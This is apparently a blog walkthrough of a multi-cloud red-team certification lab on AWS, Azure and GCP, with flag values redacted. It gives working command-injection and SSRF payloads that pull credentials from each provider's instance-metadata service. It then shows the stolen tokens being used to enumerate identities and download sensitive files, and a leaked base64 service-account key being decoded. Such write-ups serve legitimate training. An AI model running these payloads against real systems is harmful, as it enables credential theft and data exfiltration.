August 11, 2026
MCRTA Exam Walkthrough — Multi-Cloud Red Teaming on AWS, Azure & GCP
Certification: MCRTA (Multi-Cloud Red Team Analyst) · Issued by: CyberWarFare Labs (CWL) · Difficulty: Beginner–Intermediate · Format…

By Kaiky Moura
7 min read
Certification: MCRTA (Multi-Cloud Red Team Analyst) · Issued by: CyberWarFare Labs (CWL) · Difficulty: Beginner–Intermediate · Format: Fully practical, black-box, 30 flags across AWS, Azure and GCP · Environment: Always-on lab, no VPN required
Ethics & spoilers: this write-up documents the full methodology and attack chain, but all flag values are redacted ([REDACTED]). The goal is to teach the process, not hand out answers. If you're attempting MCRTA, try each challenge yourself first.
Exam Overview
MCRTA simulates a fictional company — "CWL Meta Tech Corp" — running production workloads across all three major cloud providers. Each module has 10 flags following a coherent intrusion narrative:
plain
OSINT → Leaked credentials → IAM enumeration → SSRF on metadata service → Privilege escalation → Data exfiltrationOSINT → Leaked credentials → IAM enumeration → SSRF on metadata service → Privilege escalation → Data exfiltrationThe three modules reuse the same attack pattern, but each provider's implementation differs just enough to force you to understand why things work, not just copy-paste commands.
Scoring: 10 flags per cloud, unlimited attempts, no proctoring, no report.
Environment & Tooling
CWL provides RedCloud OS, a purpose-built offensive cloud distribution with everything preinstalled. Any Linux distro works — the essentials are:
- AWS: aws-cli, pacu (optional), jq
- Azure: az cli, PowerShell + AzureAD module (a Windows VM helps), a JWT decoder
- GCP: gcloud SDK, gsutil, curl
- All providers: curl, Burp Suite (optional), subfinder/ffuf for recon, gitleaks
Installing gcloud on a fresh box:
bash
curl -O https://dl.google.com/dl/cloudsdk/channels/rapid/downloads/google-cloud-cli-linux-x86_64.tar.gz
tar -xf google-cloud-cli-linux-x86_64.tar.gz
./google-cloud-sdk/install.sh --quiet
export PATH=$PATH:~/google-cloud-sdk/bincurl -O https://dl.google.com/dl/cloudsdk/channels/rapid/downloads/google-cloud-cli-linux-x86_64.tar.gz
tar -xf google-cloud-cli-linux-x86_64.tar.gz
./google-cloud-sdk/install.sh --quiet
export PATH=$PATH:~/google-cloud-sdk/binModule 1 — AWS Cloud Red Teaming
Q1 — Full URL of the org's S3 bucket (OSINT)
The exam hints that initial access begins with open-source intelligence. Bucket names are discoverable through simple permutations and dorking:
bash
# Candidate permutations: {org}, {org}-prod, {org}-backup...
curl -s "http://BUCKET_NAME.s3.amazonaws.com" | head# Candidate permutations: {org}, {org}-prod, {org}-backup...
curl -s "http://BUCKET_NAME.s3.amazonaws.com" | headA public, listable S3 bucket reveals itself. The full URL is the flag: http://[REDACTED].s3.amazonaws.com
Q2–Q5 — IAM enumeration with leaked credentials
Initial low-priv credentials come from the exposed assets (public bucket contents, or an exposed .git directory on the web app — check both). Configure a profile and enumerate:
bash
aws configure --profile mcrta
aws sts get-caller-identity --profile mcrta
aws iam list-users --profile mcrta
aws iam list-groups --profile mcrta
aws iam list-groups-for-user --user-name emp003 --profile mcrta
aws iam list-group-policies --group-name GROUP --profile mcrta
aws iam list-attached-group-policies --group-name GROUP --profile mcrtaaws configure --profile mcrta
aws sts get-caller-identity --profile mcrta
aws iam list-users --profile mcrta
aws iam list-groups --profile mcrta
aws iam list-groups-for-user --user-name emp003 --profile mcrta
aws iam list-group-policies --group-name GROUP --profile mcrta
aws iam list-attached-group-policies --group-name GROUP --profile mcrtaFrom this you extract:
- Q2: the web-app parameter vulnerable to SSRF on the dev EC2 — inspect the app source →
[REDACTED] - Q3: the IAM role attached to the dev instance:
bash
aws ec2 describe-instances --profile mcrta \
--query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`].Value|[0],Role:IamInstanceProfile.Arn}'aws ec2 describe-instances --profile mcrta \
--query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`].Value|[0],Role:IamInstanceProfile.Arn}'→ [REDACTED]
- Q4: the user in the interns group →
[REDACTED] - Q5: the group containing user emp003 →
[REDACTED]
Q6–Q7 — Cross-account trust abuse (privilege escalation)
bash
aws iam list-roles --profile mcrta
aws iam get-role --role-name crossaccount-role --profile mcrta \
--query 'Role.AssumeRolePolicyDocument'aws iam list-roles --profile mcrta
aws iam get-role --role-name crossaccount-role --profile mcrta \
--query 'Role.AssumeRolePolicyDocument'The trust document reveals the external Account ID allowed to assume the role (Q6 → [REDACTED]) and the role that devops-role can assume (Q7 → [REDACTED]).
Q8–Q9 — Policy auditing
bash
aws iam list-user-policies --user-name emp001 --profile mcrta
aws iam get-user-policy --user-name emp001 --policy-name POLICY --profile mcrta
aws iam list-attached-group-policies --group-name GROUP --profile mcrtaaws iam list-user-policies --user-name emp001 --profile mcrta
aws iam get-user-policy --user-name emp001 --policy-name POLICY --profile mcrta
aws iam list-attached-group-policies --group-name GROUP --profile mcrta- Q8: inline policy embedded in emp001 →
[REDACTED] - Q9: ARN of the managed policy attached to the target group →
arn:aws:iam::aws:policy/[REDACTED]
Q10 — SSRF → IMDSv1 → exfiltration
The vulnerable web app accepts a parameter that fetches URLs server-side. AWS IMDSv1 needs no headers, so a plain SSRF works:
bash
# Steal temporary credentials from instance metadata
curl -s -X POST "http://TARGET/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'# Steal temporary credentials from instance metadata
curl -s -X POST "http://TARGET/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'Load the stolen AccessKeyId / SecretAccessKey / SessionToken into a new profile and read production data from S3:
bash
aws s3 cp s3://BUCKET/prod-data.txt . --profile stolen
cat prod-data.txtaws s3 cp s3://BUCKET/prod-data.txt . --profile stolen
cat prod-data.txtQ10: the credit card number inside prod-data.txt → [REDACTED]
Module 2 — Azure Cloud Red Teaming
Q1 — Subdomain enumeration
bash
subfinder -d TARGET_DOMAIN -silent
# or
ffuf -w subdomains.txt -u http://TARGET_DOMAIN/ -H "Host: FUZZ.TARGET_DOMAIN" -fs 0subfinder -d TARGET_DOMAIN -silent
# or
ffuf -w subdomains.txt -u http://TARGET_DOMAIN/ -H "Host: FUZZ.TARGET_DOMAIN" -fs 0A subdomain pointing at an Azure IP hosts the vulnerable app → [REDACTED]
Q2–Q3 — SSRF → IMDS → JWT decode
Azure's IMDS requires the Metadata: true header, and the token URL contains & — use --data-urlencode so the shell doesn't background the command:
bash
# Management API token
curl -s -X POST "http://SUBDOMAIN.TARGET_DOMAIN/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'
# Graph API token (needed for Q8–Q10)
curl -s -X POST "http://SUBDOMAIN.TARGET_DOMAIN/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"'# Management API token
curl -s -X POST "http://SUBDOMAIN.TARGET_DOMAIN/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"'
# Graph API token (needed for Q8–Q10)
curl -s -X POST "http://SUBDOMAIN.TARGET_DOMAIN/CSP-1/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"'Note: the app concatenates RCE output with the SSRF body — the JSON may appear doubled. Parse only the first object:
bash
... | python3 -c "
import sys, json
raw = sys.stdin.read()
obj, _ = json.JSONDecoder().raw_decode(raw)
print(obj['access_token'])
"... | python3 -c "
import sys, json
raw = sys.stdin.read()
obj, _ = json.JSONDecoder().raw_decode(raw)
print(obj['access_token'])
"Decode the JWT payload (the middle segment):
bash
echo "PAYLOAD" | base64 -d 2>/dev/null | python3 -m json.tool | grep '"iss"\|"tid"'echo "PAYLOAD" | base64 -d 2>/dev/null | python3 -m json.tool | grep '"iss"\|"tid"'- Q2: the iss claim → https://sts.windows.net/[REDACTED]/
- Q3: the Tenant ID (tid) →
[REDACTED]
Q4–Q5 — Subscription & RBAC from instance metadata
bash
... 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"'... 'organization=curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"'- Q4: the subscription hosting the app →
[REDACTED]— careful: some exam versions expect the subscription name, others the GUID. Try both. - Q5: the VM identity's subscription-level role — query role assignments via the management token:
bash
export MGMT_TOKEN="..."
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'PRINCIPAL_ID'"export MGMT_TOKEN="..."
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'PRINCIPAL_ID'"→ [REDACTED]
Q6–Q7 — Custom role definition
From the role assignments, pull the custom role's definition: its assignable scope (Q6 → [REDACTED]) and allowed actions (Q7 → Microsoft.Resources/subscriptions/resourceGroups/[REDACTED]).
Q8–Q10 — Entra ID via Microsoft Graph
bash
export GRAPH_TOKEN="..."
# Q8: members of the "IT Ops" group
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT Ops'"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups/GROUP_ID/members?\$select=displayName,mail,userPrincipalName"
# Q9: owner of the "prod-app" application
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications/APP_OBJECT_ID/owners?\$select=displayName,userPrincipalName"
# Q10: Graph permission assigned to "dev-app"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'dev-app'"
# Resolve the permission GUID from requiredResourceAccess against Graph's service principal:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId+eq+'00000003-0000-0000-c000-000000000000'&\$select=appRoles,oauth2PermissionScopes"export GRAPH_TOKEN="..."
# Q8: members of the "IT Ops" group
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT Ops'"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups/GROUP_ID/members?\$select=displayName,mail,userPrincipalName"
# Q9: owner of the "prod-app" application
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications/APP_OBJECT_ID/owners?\$select=displayName,userPrincipalName"
# Q10: Graph permission assigned to "dev-app"
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$filter=displayName+eq+'dev-app'"
# Resolve the permission GUID from requiredResourceAccess against Graph's service principal:
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId+eq+'00000003-0000-0000-c000-000000000000'&\$select=appRoles,oauth2PermissionScopes"- Q8 →
[REDACTED]@TARGET_DOMAIN - Q9 →
[REDACTED] - Q10 →
[REDACTED](a read-all directory scope)
Module 3 — GCP Cloud Red Teaming
Q1 — GitHub OSINT: the leaked service account key
The hint tells you to search GitHub for the organization. One catch: cwl-metatech is a GitHub user, not an org — but org:cwl-metatech still returns the repo in the repositories tab. Flag 1 → https://github.com/[REDACTED]/[REDACTED]
Inside the repo, pipeline.yml contains a CI/CD step loading a variable called ENCRYPTED_GCP_KEY. It's not encrypted — it's base64:
bash
curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
| grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' \
| base64 -d | python3 -m json.tool | grep "project_id\|client_email"curl -s "https://raw.githubusercontent.com/cwl-metatech/production-data/main/pipeline.yml" \
| grep -oP '(?<=ENCRYPTED_GCP_KEY=")[^"]+' \
| base64 -d | python3 -m json.tool | grep "project_id\|client_email"Also check commit history — earlier commits contained the raw JSON key. Deleting a file does not erase it from git history; that's exactly the lesson of this module.
Q2–Q3 — Authenticate & enumerate compute
The decoded JSON key stores the private key with literal \n sequences — fix it before use:
bash
python3 -c "
import json
d = json.load(open('key-raw.json'))
d['private_key'] = d['private_key'].replace('\\\\n', '\n')
json.dump(d, open('key-fixed.json', 'w'))
"
gcloud auth activate-service-account --key-file=key-fixed.json
gcloud config set project PROJECT_ID
gcloud compute instances list --project PROJECT_IDpython3 -c "
import json
d = json.load(open('key-raw.json'))
d['private_key'] = d['private_key'].replace('\\\\n', '\n')
json.dump(d, open('key-fixed.json', 'w'))
"
gcloud auth activate-service-account --key-file=key-fixed.json
gcloud config set project PROJECT_ID
gcloud compute instances list --project PROJECT_ID- Q2: Project ID of the dev service account →
[REDACTED](it's in the decoded JSON) - Q3: the compute instance the dev SA can access →
[REDACTED]
Q4 — Service account attached to the instance
bash
gcloud compute instances describe INSTANCE_NAME \
--zone ZONE --project PROJECT_ID \
--format="get(serviceAccounts)"gcloud compute instances describe INSTANCE_NAME \
--zone ZONE --project PROJECT_ID \
--format="get(serviceAccounts)"→ [REDACTED]@PROJECT_ID.iam.gserviceaccount.com
Q5–Q7 — Project IAM policy & custom role
The dev SA can't read the project IAM policy directly — pivot through the VM. The instance's external IP runs the same vulnerable web app; GCP's metadata endpoint requires the Metadata-Flavor: Google header:
bash
# Steal the VM's access token via SSRF
curl -s -X POST "http://INSTANCE_EXTERNAL_IP/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata-Flavor:Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"'
export VM_TOKEN="..."
# Project IAM policy (Q5, Q6)
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
-X POST -H "Content-Type: application/json" -d '{}' | python3 -m json.tool
# Custom role contents (Q7)
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://iam.googleapis.com/v1/projects/PROJECT_ID/roles/CUSTOM_ROLE_NAME" \
| python3 -m json.tool | grep includedPermissions -A5# Steal the VM's access token via SSRF
curl -s -X POST "http://INSTANCE_EXTERNAL_IP/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s -H "Metadata-Flavor:Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"'
export VM_TOKEN="..."
# Project IAM policy (Q5, Q6)
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
-X POST -H "Content-Type: application/json" -d '{}' | python3 -m json.tool
# Custom role contents (Q7)
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://iam.googleapis.com/v1/projects/PROJECT_ID/roles/CUSTOM_ROLE_NAME" \
| python3 -m json.tool | grep includedPermissions -A5- Q5: project-level role of the VM's attached SA →
[REDACTED] - Q6: SA holding the VMRead* custom role →
[REDACTED]@PROJECT_ID.iam.gserviceaccount.com - Q7: permission inside the custom role →
compute.instances.[REDACTED]
Q8 — Dev SA permission at instance level
Use the dev SA credentials (not the VM token) and query the instance IAM policy:
bash
gcloud compute instances get-iam-policy INSTANCE_NAME \
--zone ZONE --project PROJECT_IDgcloud compute instances get-iam-policy INSTANCE_NAME \
--zone ZONE --project PROJECT_ID→ [REDACTED]
Q9–Q10 — Cloud Storage enumeration & exfiltration
The VM token has storage access (the VM's SA holds a storage role):
bash
# Q9: list buckets in the project
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID" \
| python3 -m json.tool | grep '"name"'
# List objects in the bucket
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o" \
| python3 -c "import sys,json; [print(o['name']) for o in json.load(sys.stdin).get('items',[])]"
# Q10: download the license key file
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o/license-key.txt?alt=media"# Q9: list buckets in the project
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID" \
| python3 -m json.tool | grep '"name"'
# List objects in the bucket
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o" \
| python3 -c "import sys,json; [print(o['name']) for o in json.load(sys.stdin).get('items',[])]"
# Q10: download the license key file
curl -s -H "Authorization: Bearer $VM_TOKEN" \
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o/license-key.txt?alt=media"Alternative with gsutil: gcloud storage ls --access-token-file token.txt
- Q9: bucket name →
[REDACTED] - Q10: license key value →
[REDACTED]
Key Takeaways
- The metadata service is the crown jewel. AWS, Azure and GCP all expose temporary credentials on a link-local address reachable only from inside the VM. Any SSRF that reaches it — with the right headers — is critical severity, not medium.
- Git history doesn't lie. Files "deleted" from a repo remain fully recoverable in commit history. And base64 is an encoding, not encryption.
- Same attack, different dialects. AWS IMDSv1 needs no headers; Azure IMDS needs
Metadata: true; GCP needsMetadata-Flavor: Google. Conceptually identical, operationally different. - Identity is the new perimeter. Most of cloud red teaming is enumerating and abusing IAM/RBAC: trust policies, custom roles, Graph permissions, service account bindings.
- Tokens expire. Azure and GCP metadata tokens last about an hour. If you start getting 401s mid-enumeration, re-fetch and re-export.
Common Pitfalls
- The SSRF parameter isn't always obvious. In this lab, one endpoint fetched URLs but discarded the response — the exploitable path was a different parameter. Reading the app source (via exposed .git, or
file://through the SSRF itself) settles it. - Shell metacharacters. The & in Azure token URLs backgrounds your command — always
--data-urlencode. - Ambiguous questions. Some flags ask for an "ID" but expect a name (and vice-versa, depending on exam version). Try both formats before assuming you're wrong.
- Literal
\nin JSON keys. GCP service account keys copied from encoded blobs often need newline repair before gcloud accepts them. - Don't trust "encrypted" labels. If a CI variable is called ENCRYPTED_*, verify — it may just be base64.
Write-up published for educational purposes, based on an authorized lab environment. All flag values intentionally redacted — the journey is the certification.
Certificate ID: MCRTA-6a7a6c1a870db0075a3c10a4 · 08/11/2026